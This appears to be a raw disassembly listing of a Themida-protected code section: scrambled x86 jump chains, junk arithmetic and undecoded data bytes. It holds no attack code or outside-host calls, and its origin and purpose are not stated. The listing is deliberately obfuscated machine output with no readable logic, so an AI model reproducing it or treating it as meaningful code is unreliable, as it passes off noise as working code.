loc_5466DB: ; CODE XREF: Themida_:00548ACBj
neg bh
push ecx
mov cl, 0B9h
jmp loc_5414D8
; ---------------------------------------------------------------------------
db 5Ah, 89h, 0C7h
dd 8BF92158h, 8953243Ch, 4B951E3h, 81000000h, 0B03897C3h
dd 0E9CB0140h, 0FFFFDF11h
; ---------------------------------------------------------------------------
loc_546704: ; CODE XREF: Themida_:0054620Ej
xchg esi, [esp]
pop esp
mov [esp], ebx
mov ebx, esp
add ebx, 4
jmp loc_542EBB
; ---------------------------------------------------------------------------
loc_546718: ; CODE XREF: Themida_:005461E0j
push bx
mov bh, 74h
xor ch, bh
jmp loc_548AC6
; ---------------------------------------------------------------------------
db 21h
dd 24048BC6h, 4C481h, 0D6F70000h, 9EEE8146h, 0E944B9A6h
dd 14CEh, 240C8966h, 0FFAC33E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_546745: ; CODE XREF: Themida_:00544770j
sub ebp, 2DBF5D5Fh
pop edx
and eax, ebp
jmp loc_54BCAF
; ---------------------------------------------------------------------------
loc_546753: ; CODE XREF: Themida_:00543B43j
shr esi, 2
dec esi
add esi, 0FE13BB58h
add ebx, esi
pop esi
push edi
mov edi, 5A534FBAh
xor ebx, edi
mov edi, [esp]
add esp, 4
add ebx, 0FFFFFFFFh
jmp loc_549923
; ---------------------------------------------------------------------------
db 1, 0E9h, 5Dh
dd 0FFDF35E9h, 4C481FFh, 53000000h, 0C381E389h, 4, 4C381h
dd 1C870000h, 54565C24h, 6C0E9h
db 0
; ---------------------------------------------------------------------------
loc_5467A1: ; CODE XREF: Themida_:005469C1j
pop edx
push edi
mov edi, 5D050328h
inc edi
xor edi, 307A7DF5h
shr edi, 2
jmp loc_54C496
; ---------------------------------------------------------------------------
db 89h
dd 0E950240Ch, 29BCh, 31242C33h, 32E9242Ch, 4FFFFD8h, 28412C1Ch
dd 2C4104D8h, 62E9531Ch, 8F00003Ch, 248B2404h, 0BB0F6624h
dd 0E99C2404h, 0FFFFAB8Ch, 9FE98058h, 28F1C180h, 0D80059CBh
dd 4C43E9h, 66556800h, 0B6E90000h, 81000012h, 0EDE7DCC7h
dd 5B6AE9BFh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_546812: ; CODE XREF: Themida_:005487D8j
add esp, 4
xchg ebp, [esp]
pop esp
add bl, 40h
sub bl, 73h
add bl, al
add bl, 73h
push 5DDCh
mov [esp], ecx
mov cl, 40h
sub bl, cl
pop ecx
add bl, 2Eh
movzx eax, al
mov dx, [esp]
push esi
mov esi, esp
push ebx
jmp loc_546056
; ---------------------------------------------------------------------------
db 81h
dd 1814B0EBh, 5BD82966h, 32E9F029h, 54FFFFC2h, 8324048Fh
dd 148904ECh, 55E28924h, 4F72E9h, 0AB0AE900h, 8B66FFFFh
dd 0EC812404h, 4, 81243489h, 4ECh, 48F5400h, 64E95024h
dd 0BD000048h, 4, 51A4E9h, 5BDF8900h, 1167E9h
db 0
; ---------------------------------------------------------------------------
loc_54689D: ; CODE XREF: Themida_:0054B817j
xor eax, esi
mov esi, [esp]
push edx
mov edx, esp
add edx, 4
push ebp
mov ebp, 4
sub edx, 1FA16FC5h
add edx, ebp
add edx, 1FA16FC5h
jmp loc_548D78
; ---------------------------------------------------------------------------
loc_5468C4: ; CODE XREF: Themida_:0054B158j
push ecx
pushf
jmp loc_545308
; ---------------------------------------------------------------------------
dd offset aMmmmmmmmmmmmmm+10Ch
align 10h
dd 0BD242C89h, 7D0B271Fh, 0D4BD5550h, 0B8110A11h, 69726BDFh
dd 485DE829h, 0C104E8C1h, 0E0D107E8h, 6C0D4335h, 1661E999h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5468FA: ; CODE XREF: Themida_:0054251Aj
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], ebp
mov ebp, 4
add edx, ebp
pop ebp
jmp loc_5413DA
; ---------------------------------------------------------------------------
loc_54691A: ; CODE XREF: Themida_:00543779j
sub ebx, 3BF53D4h
add ebx, eax
push esi
push eax
jmp loc_5458DE
; ---------------------------------------------------------------------------
db 66h, 52h, 53h
dd 0CE885250h, 0FFB93BE9h, 2FEB80FFh, 0D05BD988h, 15E980E9h
dd 6FB45052h, 0FFEF3DE9h, 88C288FFh, 0CBE95AD3h, 68FFFFF0h
dd 615048E6h, 0E92434FFh, 0FFFFAA34h, 53241489h, 0FE88BAB7h
dd 8BF0305Bh, 0C4832414h, 0DBC1E904h, 248BFFFFh, 66C80024h
dd 53C33059h, 4787E9h, 24248900h, 4240481h, 8F000000h
dd 4812404h, 424h, 0E95900h
db 7, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54699F: ; CODE XREF: Themida_:0054B9F8j
shr edx, 8
or edx, 32306C69h
push ecx
mov ecx, 36293715h
inc ecx
neg ecx
shr ecx, 8
shr ecx, 1
add ecx, 72705925h
xor edx, ecx
pop ecx
sub ebx, edx
jmp loc_5467A1
; ---------------------------------------------------------------------------
dw 0C383h
dd 241C3304h, 0E9241C31h, 5093h
; ---------------------------------------------------------------------------
loc_5469D4: ; CODE XREF: Themida_:005452D9j
mov [esp], eax
push esi
jmp loc_542A08
; ---------------------------------------------------------------------------
aNhi db 'h‰:',0
dw 0E900h
dd 1EEh
; ---------------------------------------------------------------------------
loc_5469E8: ; CODE XREF: Themida_:0054413Ej
push edi
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp]
mov esp, [esp]
mov [esp], esi
mov esi, ebp
mov edx, esi
mov esi, [esp]
add esp, 4
pop ebp
add edi, edx
mov edx, [esp]
push ebp
mov ebp, esp
push edx
jmp loc_541BF2
; ---------------------------------------------------------------------------
db 66h, 8Bh, 4
aPs_ db '$PéÄ.',0
dw 0F700h
dd 72830DD8h, 68404CF4h, 44EEh, 0BF243C89h, 652E7D9Dh
dd 0FFE9F4E9h, 3EDC1FFh, 18F8E9h, 0EDC15D00h, 0F2ED8106h
dd 0E966D323h, 0FFFFEEBEh, 9A1B9h, 6A53E941h, 0C3810000h
dd 34B3450Bh, 0E20E9h, 81E58900h, 4C5h, 4BB5300h, 0E9000000h
dd 3BB5h, 40C8EE81h, 44E915B4h, 66FFFFFCh, 51240C8Bh, 0C181E189h
dd 4, 25685550h, 8B7E6C3Ah, 0C481242Ch, 4, 93C5DDB8h, 8C32D81h
dd 0E801565Ch, 5C08C305h, 72E95D56h, 0ADFFFFC0h, 6146F505h
dd 4D052D0Ch, 82D3459h, 291A5A2Bh, 7D5E68D8h, 2C890000h
dd 2B08BD24h, 0E8011A5Ah, 0BF57535Dh, 6BC31342h, 0F75FFB89h
dd 4BCB81DBh, 0E914A30Ch, 0FFFFE268h, 6D78E95Fh, 0BE0000h
dd 572F70EFh, 1D0B69BFh, 90E94F23h, 0FFFFFFBDh, 68582434h
dd 3066h, 54243489h, 5E2434FFh, 5304C483h, 4BBh, 2FE95700h
db 0Fh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_546B2B: ; CODE XREF: Themida_:00549AC8j
pop eax
push ebx
mov ebx, 516115A7h
shl ebx, 7
xor ebx, 9943F933h
add eax, ebx
pop ebx
or eax, eax
jnz loc_542E62
push esi
mov esi, 10573FBCh
mov edx, 5D36657Fh
jmp loc_549A34
; ---------------------------------------------------------------------------
dw 69B6h
dd 8003EEC0h, 0CEFEBAE6h, 507BE9h, 24048300h, 0C1815904h
dd 4, 44FEE9h, 81D2F700h, 236D4EC2h, 0C0EA8121h, 68B4E3DDh
dd 6F0Bh, 1EB2E9h
db 0
; ---------------------------------------------------------------------------
loc_546B8D: ; CODE XREF: Themida_:00541D4Cj
neg dword ptr [esp]
pop ecx
inc ecx
add ecx, 24471823h
add ebp, ecx
pop ecx
jmp loc_543D10
; ---------------------------------------------------------------------------
loc_546BA0: ; CODE XREF: Themida_:00548F28j
push ecx
mov ecx, 8F96AFCh
jmp loc_543E5B
; ---------------------------------------------------------------------------
db 57h
dd 2C4C6DBFh, 4FD7F773h, 0FFE37DE9h, 0C8E981FFh, 81622666h
dd 6A6AF0E1h, 0E4C1814Bh, 81BCB7DFh, 936D58C2h, 0BBF7E936h
dd 0C89FFFFh, 40C36824h, 0C8B359Fh, 4C48324h, 0FFB32EE9h
dd 3850B8FFh, 0F801D8B9h, 67E9485Fh
db 0ACh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_546BF7: ; CODE XREF: Themida_:005487E3j
mov edx, edi
pop edi
jmp loc_5433E3
; ---------------------------------------------------------------------------
db 5Ch
dd 9CC83B66h, 0FFB57DE9h, 0D5E951FFh
db 1Eh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_546C0F: ; CODE XREF: Themida_:0054D568j
or ebp, 75B26290h
add ebp, 4D8429FCh
jmp loc_54A466
; ---------------------------------------------------------------------------
dd 16F6815Eh, 8167CA57h, 9A73ECF6h, 8BF0015Eh, 89532434h
dd 4C381E3h, 83000000h, 0E95304C3h, 0FFFFBB60h, 3B4DE95Dh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_546C4A: ; CODE XREF: Themida_:00546584j
push ebp
sub esp, 4
mov [esp], edx
push ecx
push 4ED74316h
jmp loc_54D73A
; ---------------------------------------------------------------------------
dd 5FF18149h, 0E927C950h, 774h
; ---------------------------------------------------------------------------
loc_546C68: ; CODE XREF: Themida_:0054D5F7j
pop ebx
not eax
jmp loc_54A8D5
; ---------------------------------------------------------------------------
dd 24048B66h, 68E08950h, 141Ah, 0B9240C89h, 7FC7724h, 28A8E9h
dd 0C8B6600h, 0EC815724h, 4, 24048F54h, 4240483h, 0FFD7D5E9h
dd 0C8B66FFh, 2C48124h, 0E9000000h, 0FFFFF429h, 5004C483h
dd 4B8h, 58C60100h, 2474FF56h, 0DCF5E904h, 0E3C1FFFFh
dd 86EB8104h, 4302C64Bh, 0E903E3C1h, 0FFFFECFEh
; ---------------------------------------------------------------------------
loc_546CD8: ; CODE XREF: Themida_:005449D4j
mov [esp], eax
xor [esp], edx
xor edx, [esp]
xor [esp], edx
sub esp, 4
mov [esp], edx
not dword ptr [esp]
jmp loc_5471CF
; ---------------------------------------------------------------------------
dw 814Fh
dd 9AC5D7F7h, 0E9F92187h, 2584h, 875EF701h, 248B243Ch
dd 0E3895324h, 58B6E9h, 2474FF00h, 2434FF04h, 4C4835Bh
dd 5E0CE9h, 0E9585B00h, 4B4Bh, 0E9028F66h, 0FFFFA648h
dd 7914B5BFh, 5FFD897Bh, 0FFAFA1E9h, 87E95DFFh, 81FFFFEBh
dd 9920B3C3h, 0BEB813Ah, 8334B345h, 0C8904ECh, 20685524h
dd 5D2DCD06h, 0D5F74D45h, 0FFC18BE9h, 0F7D8F7FFh, 0D7BB53D8h
dd 0E90A5562h, 68ECh
; ---------------------------------------------------------------------------
loc_546D74: ; CODE XREF: Themida_:0054A62Cj
pop ebx
jmp loc_54AE92
; ---------------------------------------------------------------------------
dw 8B66h
dd 82E92404h, 1000060h, 0F4C281C2h, 8B266111h, 0C4812404h
dd 4, 5C241487h, 4C581h, 7EE90000h, 1000024h, 77EB81CBh
dd 510D3B67h, 130D5EB9h, 0E9CB0104h, 274h, 0C781E789h
dd 4, 4C781h, 3C330000h, 243C3124h, 5C243C33h, 34FFFB29h
dd 5E82E924h, 9BBB0000h, 81253159h, 744311EBh, 5BDD21F3h
dd 446CED81h, 0E8319E9Eh, 0FBC2815Dh, 139FE5Ch, 0C18CE9C2h
dd 0BB53FFFFh, 625E7985h, 0FFCEE3E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_546E09: ; CODE XREF: Themida_:0054AA5Bj
pop edx
sub esp, 4
mov [esp], eax
mov al, 0CEh
sub bl, al
pop eax
add bl, al
sub esp, 2
mov [esp], ax
push ebx
mov bl, 0CEh
mov ah, bl
mov ebx, [esp]
add esp, 4
add bl, 9Ch
sub bl, 96h
add bl, ah
push edx
mov dl, 2Eh
inc dl
jmp loc_544EA3
; ---------------------------------------------------------------------------
db 50h, 0B8h, 7Bh
dd 35645A28h, 319A627Dh, 0C158C389h, 0D3F703E3h, 0FFE961E9h
dd 5EF229FFh, 66EBE9h, 0C6815E00h, 4, 4BF57h, 0FE010000h
dd 0FFD469E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_546E75: ; CODE XREF: Themida_:00548D13j
mov ecx, 4
jmp loc_5499DC
; ---------------------------------------------------------------------------
loc_546E7F: ; CODE XREF: Themida_:0054C236j
pop esp
and ebx, esi
jmp loc_549B98
; ---------------------------------------------------------------------------
db 66h
dd 0E9240C8Bh, 0FFFFBE3Ah
; ---------------------------------------------------------------------------
loc_546E90: ; CODE XREF: Themida_:00543495j
shr ecx, 7
push dword ptr [edi+1Ch]
sub dword ptr [esp], 659C4F49h
pop eax
jmp loc_548D88
; ---------------------------------------------------------------------------
db 52h
dd 83242C8Bh, 148B04C4h, 4C48124h, 81000000h, 0DE0191E5h
dd 36AEE963h, 0C2810000h, 5A664B13h, 7749B951h, 0E98353BFh
dd 0E9E9D1FFh, 0EE9h, 9FE951B7h, 83FFFFACh, 0F16804C4h
dd 8900002Dh, 76B5240Ch, 2FE9C5FEh, 100000Fh, 5D04246Ch
dd 1B242C81h, 0E938FB68h, 0FFFFA478h
; ---------------------------------------------------------------------------
loc_546F00: ; CODE XREF: Themida_:00544BE6j
push dword ptr [esp]
pop ebp
add esp, 4
push 4460h
mov [esp], ebp
sub esp, 4
jmp loc_547E58
; ---------------------------------------------------------------------------
dw 0C680h
dd 80FE000Eh, 2C5B0EEEh, 4F02894h, 0EB805A94h, 0EEEB809Bh
dd 5FE9C300h, 57000045h, 7E3160BFh, 3DE94F2Ah
db 0E6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_546F43: ; CODE XREF: Themida_:0054C351j
add edx, edi
pop edi
sub ebp, 2449254Fh
add ebp, edx
add ebp, 2449254Fh
pop edx
xchg ebp, [esp]
jmp loc_543494
; ---------------------------------------------------------------------------
db 21h, 0E9h, 0FFh
dd 2C8B2434h
db 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_543846
; ---------------------------------------------------------------------------
db 81h, 0C9h, 0C1h
dd 0F738580Bh, 1F23E9D1h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_546F8A: ; CODE XREF: Themida_:0054A31Dj
push dword ptr [esp]
mov ebp, [esp]
add esp, 4
jmp loc_5428D9
; ---------------------------------------------------------------------------
loc_546F98: ; CODE XREF: Themida_:0054D85Aj
push edx
push esp
pop edx
push 41EBh
mov [esp], eax
mov eax, 4
sub edx, 620D2272h
add edx, eax
add edx, 620D2272h
pop eax
push ebx
mov ebx, 4
add edx, ebx
pop ebx
xor edx, [esp]
xor [esp], edx
jmp loc_542BC6
; ---------------------------------------------------------------------------
db 5Ch
dd 34FFD830h, 0C4815B24h, 4, 2EC81h, 89660000h, 0E950240Ch
dd 0FFFFD892h, 24048966h, 0FFA387E9h, 7EC805FFh, 0D02971FBh
dd 0FB7EC82Dh, 1A70E971h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_547002: ; CODE XREF: Themida_:0054CF85j
push 222Ch
mov [esp], esi
jmp loc_543771
; ---------------------------------------------------------------------------
db 5
dd 4, 8A3E9h
db 0
; ---------------------------------------------------------------------------
loc_547019: ; CODE XREF: Themida_:0054137Bj
push 46DFh
jmp loc_541A6F
; ---------------------------------------------------------------------------
db 0B7h
dd 0E9CFFEE8h, 5B1Ah, 0EB815959h, 2, 0C530E953h, 148BFFFFh
dd 0E6895624h, 4C681h, 0E0E90000h
db 0A6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54704B: ; CODE XREF: Themida_:0054B573j
push ebp
push 21C56577h
jmp loc_5427AE
; ---------------------------------------------------------------------------
loc_547056: ; CODE XREF: Themida_:0054B3D7j
sub edx, 64FD70EBh
push ecx
mov ecx, 5A184A8Dh
jmp loc_542C19
; ---------------------------------------------------------------------------
loc_547067: ; CODE XREF: Themida_:0054C4CBj
add eax, edi
sub eax, 707E1508h
mov edi, [esp]
push ebp
mov ebp, esp
jmp loc_548B93
; ---------------------------------------------------------------------------
db 58h, 1, 0D7h
dd 5A2434FFh, 4C481h, 0C7810000h, 2, 2474FF57h, 48F5F04h
dd 8B665C24h, 54E9240Ch, 50000069h, 405E089h, 0E9000000h
dd 0FFFFC731h, 4EC81h, 3C890000h, 0D712E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5470BA: ; CODE XREF: Themida_:0054A4F7j
mov eax, 63B112EFh
or eax, 78582AF8h
push edx
mov edx, 16AC3B73h
push ebp
mov ebp, 13EE3293h
jmp loc_54C969
; ---------------------------------------------------------------------------
loc_5470D5: ; CODE XREF: Themida_:005434F6j
add esi, edx
pop edx
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
pop esp
imul cx
jmp loc_54AD06
; ---------------------------------------------------------------------------
aSd db '^éd',7,0
align 10h
dd 400EF381h, 0DD894298h, 0FFB2CEE9h, 4C483FFh, 0E977E951h
dd 0D829FFFFh, 8B2434FFh, 0C483241Ch, 5F545704h, 4C781h
dd 0BE560000h, 4, 0FFFBDBE9h, 0C8B66FFh, 0DA86824h, 34890000h
dd 685E5424h, 240Ch, 53240489h, 0B823FEBBh, 0AED0E96Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_547146: ; CODE XREF: Themida_:005493E7j
add eax, edi
pop edi
add eax, 4
jmp loc_5484CF
; ---------------------------------------------------------------------------
db 0C1h, 0E6h, 4
dd 0CFF564Eh, 31FE924h, 89570000h, 4C781E7h, 83000000h
dd 3C8704C7h, 0EC815C24h, 4, 0FFA870E9h, 787E68FFh, 4890000h
dd 24148724h, 59D4E9h
db 0
; ---------------------------------------------------------------------------
loc_547189: ; CODE XREF: Themida_:00541466j
sub ecx, 7BA0B4Ah
jmp loc_54ADDC
; ---------------------------------------------------------------------------
dd 24048B66h, 815F5457h, 4C7h, 0BB535000h, 17833E98h, 833E9AB8h
dd 0FFD83117h
db 34h, 24h, 5Bh
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
jmp loc_54C842
; ---------------------------------------------------------------------------
aZ4Sag db '‡4$é€G',0
db 0
; ---------------------------------------------------------------------------
loc_5471CF: ; CODE XREF: Themida_:00546CEDj
pop edx
xchg edx, [esp]
push dword ptr [esp]
mov eax, [esp]
jmp loc_54C436
; ---------------------------------------------------------------------------
aFpPiFxsARauUAi db 'fP°pˆÂfXS³´€Ãà€ã',8,'Àã',8,'€ëG',0
aSN db 'ÚéÃN',0
align 4
dd 7587EB81h, 0C32962F3h, 7587C381h, 0B95162F3h, 0EF43826h
dd 457E9h, 0E0C16600h, 60D6606h, 4B2D6627h, 23F2E97Fh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_547226: ; CODE XREF: Themida_:0054320Bj
pop ebp
pop dword ptr [esp]
mov esp, [esp]
shr word ptr [esp], cl
pushf
jmp loc_541378
; ---------------------------------------------------------------------------
db 83h
dd 2EE904ECh, 81FFFFA4h, 4C4h, 5BDF0100h, 0E902C783h, 2219h
dd 0F747CF87h, 3BCE9D7h, 77FF0000h, 59669D1Ch, 9C2414D2h
dd 0FFA10FE9h, 0E5CA81FFh, 4A63747Ah, 8101EA83h, 0E6B8A4C2h
dd 0A1BE560Ch, 945B56Ch, 0EAE95EF2h, 0D1FFFFD7h, 64F281EAh
dd 174B3F0h, 0ADE95AD6h, 3100002Dh, 0A6E7E9CDh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54729E: ; CODE XREF: Themida_:0054B1FEj
add edx, ebx
push ebx
mov ebx, 0
jmp loc_54325F
; ---------------------------------------------------------------------------
db 58h
dd 0FFEF34E9h, 8BCF01FFh, 0E953240Ch, 0FFFFAD44h, 0FFA0B7E9h
dd 3CE95FFFh, 0D1000042h, 590868E2h, 2C890000h, 57E58924h
dd 0FFC0B4E9h, 243481FFh, 52D5485Eh, 5324048Bh, 0C381E389h
dd 4, 0E904C383h, 5291h, 0D2F7D2F7h, 7092BB53h, 0DA091755h
dd 81DAF75Bh, 8C9E27EAh, 0EEE9E9E5h, 3489FFFFh, 0A52BBE24h
dd 0CF2D456Eh, 293FC63Dh, 0CFB951F0h, 53FC63Dh, 0AE5647Ch
dd 105E9h, 5BF83000h, 4EC81h, 0F6E90000h, 5B00000Bh, 81E28952h
dd 4C2h, 4EA8300h, 5C241487h, 0BD242C89h, 2, 6934C781h
dd 0EF291D65h, 6934EF81h, 35E91D65h, 5600001Eh, 39D7B850h
dd 0C6892181h, 5EF53158h, 64CEE581h, 0C5316DB5h, 2B17E9h
db 0
; ---------------------------------------------------------------------------
loc_547381: ; CODE XREF: Themida_:0054B435j
add eax, 1
push edx
mov edx, 4FA18ADh
jmp loc_547DB3
; ---------------------------------------------------------------------------
loc_547391: ; CODE XREF: Themida_:0054AD47j
push 4C0Dh
mov [esp], esp
add dword ptr [esp], 4
pop ebx
push edi
mov edi, 1BFB1548h
or edi, 4C730067h
shr edi, 5
add edi, 0FD002759h
add ebx, edi
mov edi, [esp]
push esi
push esp
pop esi
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
push ebp
mov ebp, 4
add ebx, ebp
pop ebp
xchg ebx, [esp]
jmp loc_543E3F
; ---------------------------------------------------------------------------
dd 0E959CA01h, 0FFFFADA7h, 1E45E940h, 63680000h, 0E900007Ch
dd 5E1Dh, 4EC81h, 14890000h, 2D685724h, 8B7AFF57h, 54E9243Ch
dd 83FFFFE5h, 0FF5204C2h, 5A042474h, 5C24048Fh, 0E90AE8C1h
dd 5A0Eh
; ---------------------------------------------------------------------------
loc_547420: ; CODE XREF: Themida_:0054A438j
mov edi, [esp]
add esp, 4
xchg edx, [esp]
pop esp
jmp loc_544012
; ---------------------------------------------------------------------------
dw 0C801h
dd 647CBE56h, 0F0290AE5h, 4533E95Eh, 4310000h, 2DE99C24h
dd 0BAFFFF9Fh, 6E253C3Ah, 525AD321h, 5330E9h, 5C5BB800h
dd 0F7405F8Ah, 285D2DD0h, 0F3E97F3Eh, 29FFFFE9h, 0E9F089C6h
dd 0AE1h
; ---------------------------------------------------------------------------
loc_547474: ; CODE XREF: Themida_:0054791Fj
pop eax
mov ebx, [esp]
jmp loc_548A18
; ---------------------------------------------------------------------------
aSk6 db '^éª6',0
dw 8300h
dd 0C06804C4h, 0E900007Fh, 0FFFFE09Ah, 0FF9EE3E9h, 54E781FFh
dd 0C1360413h, 0E94F02EFh, 0FFFFB1F2h, 0D964EC2Dh, 50D8F73Ch
dd 582414F7h, 0AA9B8F2Dh, 58C301B5h, 0FFF509E9h, 0BAE956FFh
dd 0F7FFFFD6h, 5CB81D3h, 812FDC28h, 4A7D1DE3h, 0EB814357h
dd 553F65E7h, 0D32BF381h, 0DD89B208h, 0FFA815E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5474E5: ; CODE XREF: Themida_:00549377j
pop dword ptr [esp]
jmp loc_5493D2
; ---------------------------------------------------------------------------
db 81h, 0F3h, 37h
dd 2922F265h, 0C8B5BD8h, 4C48324h, 3726E956h, 874F0000h
dd 575DE9FDh, 4BB0000h, 81000000h, 52D66C6h, 2BEE8107h
dd 0E973BE33h, 0FFFFE7DFh, 0CB8BE95Bh, 8B66FFFFh, 89562404h
dd 0E95350E6h, 0FFFFA2E1h, 0BE04C483h, 0DB2E5660h, 2959CE29h
dd 2434FFF0h, 0A259E95Eh, 0E688FFFFh, 31A0E958h, 4810000h
dd 424h, 24048F00h, 4EC81h, 1FE90000h, 81000013h, 0E76952EBh
dd 52DBF72Fh, 0FFFED6E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_547575: ; CODE XREF: Themida_:0054A16Dj
pop eax
or ebx, 45453B2Bh
sub esp, 4
mov [esp], ecx
mov ecx, 736024D4h
add ebx, ecx
jmp loc_541BAF
; ---------------------------------------------------------------------------
db 66h, 68h, 67h
dd 1C896604h, 0F6F38824h, 0E95150D3h, 5598h
; ---------------------------------------------------------------------------
loc_5475A4: ; CODE XREF: Themida_:00544018j
mov [esp], ecx
push ebx
push 3C0B52E8h
jmp loc_5482B1
; ---------------------------------------------------------------------------
dw 0FA01h
dd 242C8150h, 79203564h, 281028Fh, 79203564h, 6824148Bh
dd 5C0h, 89243C89h, 4C781E7h, 50000000h, 4B8h, 58C70100h
dd 5C243C87h, 0E924048Bh, 38D4h, 1F72E181h, 0C1813D3Dh
dd 0D955394Dh, 159CE31h, 68575EF0h, 2, 2D622D5Fh, 0F8015081h
dd 812D6205h, 0D08AE950h, 0F781FFFFh, 20002146h, 520AE9h
dd 75BD5500h, 148C84Ch, 0C3815DEBh, 14F11DCEh, 7EE95155h
dd 0AC00004Ah, 0EC816704h, 2, 24148966h, 0C204B1B2h, 0E9E9D000h
dd 57FFFFE0h, 2976E9h
db 0
; ---------------------------------------------------------------------------
loc_547655: ; CODE XREF: Themida_:0054D386j
push 468Fh
mov [esp], ebx
push esi
mov esi, 4A456498h
xor [esp+4], esi
jmp loc_547AAA
; ---------------------------------------------------------------------------
dd 8159CB29h, 0D93179C3h, 91685111h, 8900000Eh, 8B682414h
dd 5A57AE47h, 0FF9FC8E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_547689: ; CODE XREF: Themida_:00545A42j
add esp, 4
push esi
mov esi, 4
add ebp, 6EEC4582h
jmp loc_545CB2
; ---------------------------------------------------------------------------
loc_54769D: ; CODE XREF: Themida_:0054664Dj
sub ebp, edi
pop edi
mov edx, ebp
pop ebp
jmp loc_54AFF2
; ---------------------------------------------------------------------------
loc_5476A8: ; CODE XREF: Themida_:0054471Dj
add esp, 4
push ecx
jmp loc_542DAD
; ---------------------------------------------------------------------------
db 81h, 0C4h, 4
dd 1000000h, 0F1BF57C8h, 0F74B5C08h, 0D3C6E9DFh, 2C31FFFFh
dd 242C3324h, 0F1F7665Ch, 4DE168h, 240C8900h, 0C181E189h
dd 4, 4EC81h, 2C890000h, 31E95124h
db 0EFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5476EF: ; CODE XREF: Themida_:0054D827j
shr eax, 18h
xor eax, ecx
push eax
xor [esp], edi
xor edi, [esp]
xor [esp], edi
push edi
push ebp
pop edi
jmp loc_548C77
; ---------------------------------------------------------------------------
dw 2C33h
dd 24248B24h, 9C2424D2h, 0FF9C63E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_547715: ; CODE XREF: Themida_:00549901j
shl ebx, 3
xor ebx, 7777A4FBh
mov edx, ebx
pop ebx
inc edx
jmp loc_54B9F2
; ---------------------------------------------------------------------------
db 31h
dd 2C33242Ch, 34895C24h, 0FFFFBE24h, 7729FFFFh, 2434FF24h
dd 0E924348Bh, 0C89h, 0E9241489h, 0FFFFB16Dh, 0BD55505Ah
dd 11783CE4h, 9ECD8145h, 810E636Ch, 0A72640E5h, 81D5F720h
dd 0BA87E7C5h, 0EE895655h, 348BF089h, 4C48124h, 0E9000000h
dd 5708h
; ---------------------------------------------------------------------------
loc_54777C: ; CODE XREF: Themida_:0054C0B0j
pop dword ptr [edi+24h]
push eax
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
jmp loc_541D8A
; ---------------------------------------------------------------------------
dd 300D04BEh, 0E3E6817Bh, 0E942BF1Bh, 4F60h, 5C241C87h
dd 8904EC83h, 0A5B9240Ch, 494FEF21h, 595EE981h, 0D1F71611h
dd 37B5E981h, 0CB01C622h, 0FA69E959h, 0AFB8FFFFh, 0C119D368h
dd 913502E0h, 0D62932Eh, 207433F4h, 4806E8C1h, 15ADE9h
dd 0E9515800h, 3779h, 62E9EB81h, 0CB017338h, 62E9C381h
dd 0C8B7338h, 4C48324h, 7D45BE56h, 0CAE90592h, 1FFFFD4h
dd 362C68C7h, 0C890000h, 4D3EB924h, 0CF0123F9h, 3C335859h
dd 243C3124h, 5C243C33h, 6824048Bh, 0B49h, 0E9243489h
dd 0FFFFB91Ch, 57FCB850h, 0C7895CCCh, 5FF83158h, 0B2B95153h
dd 0E965DB5Ah, 1264h, 18EBE281h, 0C2816967h, 0DEDD0001h
dd 0FFCE33E9h, 4EC81FFh, 0E9000000h, 0FFFFE35Fh
; ---------------------------------------------------------------------------
loc_547870: ; CODE XREF: Themida_:00542E6Bj
push edi
push ebx
mov ebx, 561B7856h
jmp loc_543DF2
; ---------------------------------------------------------------------------
dd offset dword_49005C+0C224h
dd 0F9005AD7h, 3D23E9h, 0B3EB8100h, 293A9920h, 0F4ADE9C3h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_547896: ; CODE XREF: Themida_:0054945Ej
mov eax, 3B94243Dh
jmp loc_544AA7
; ---------------------------------------------------------------------------
dd 0DCBD555Bh, 0F74DF02Bh, 0DEC581DDh, 814DF02Bh, 0B440C8C6h
dd 0E9EE0115h, 0FFFFF1C0h, 7D0668h, 240C8900h, 4B9h, 675C0500h
dd 0C8017B1Eh, 1E675C2Dh, 240C8B7Bh, 5004C483h, 42474FFh
dd 24048F58h, 136FE9h, 240C8B00h, 104C483h, 0C6835BDEh
dd 24348704h, 0FFC211E9h, 0E9585EFFh, 0FFFFE56Dh, 0C3E95366h
db 9Dh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54790B: ; CODE XREF: Themida_:005481F6j
push edx
mov dh, bl
mov al, dh
pop edx
sub esp, 4
mov [esp], ebx
mov bl, al
mov dl, bl
pop ebx
jmp loc_547474
; ---------------------------------------------------------------------------
dd 6413B951h, 0CB8957C5h, 47C9E959h, 4CBE0000h, 52657C44h
dd 0FF9B2EE9h, 0C8B66FFh, 8B545324h, 58E9241Ch, 8B00005Bh
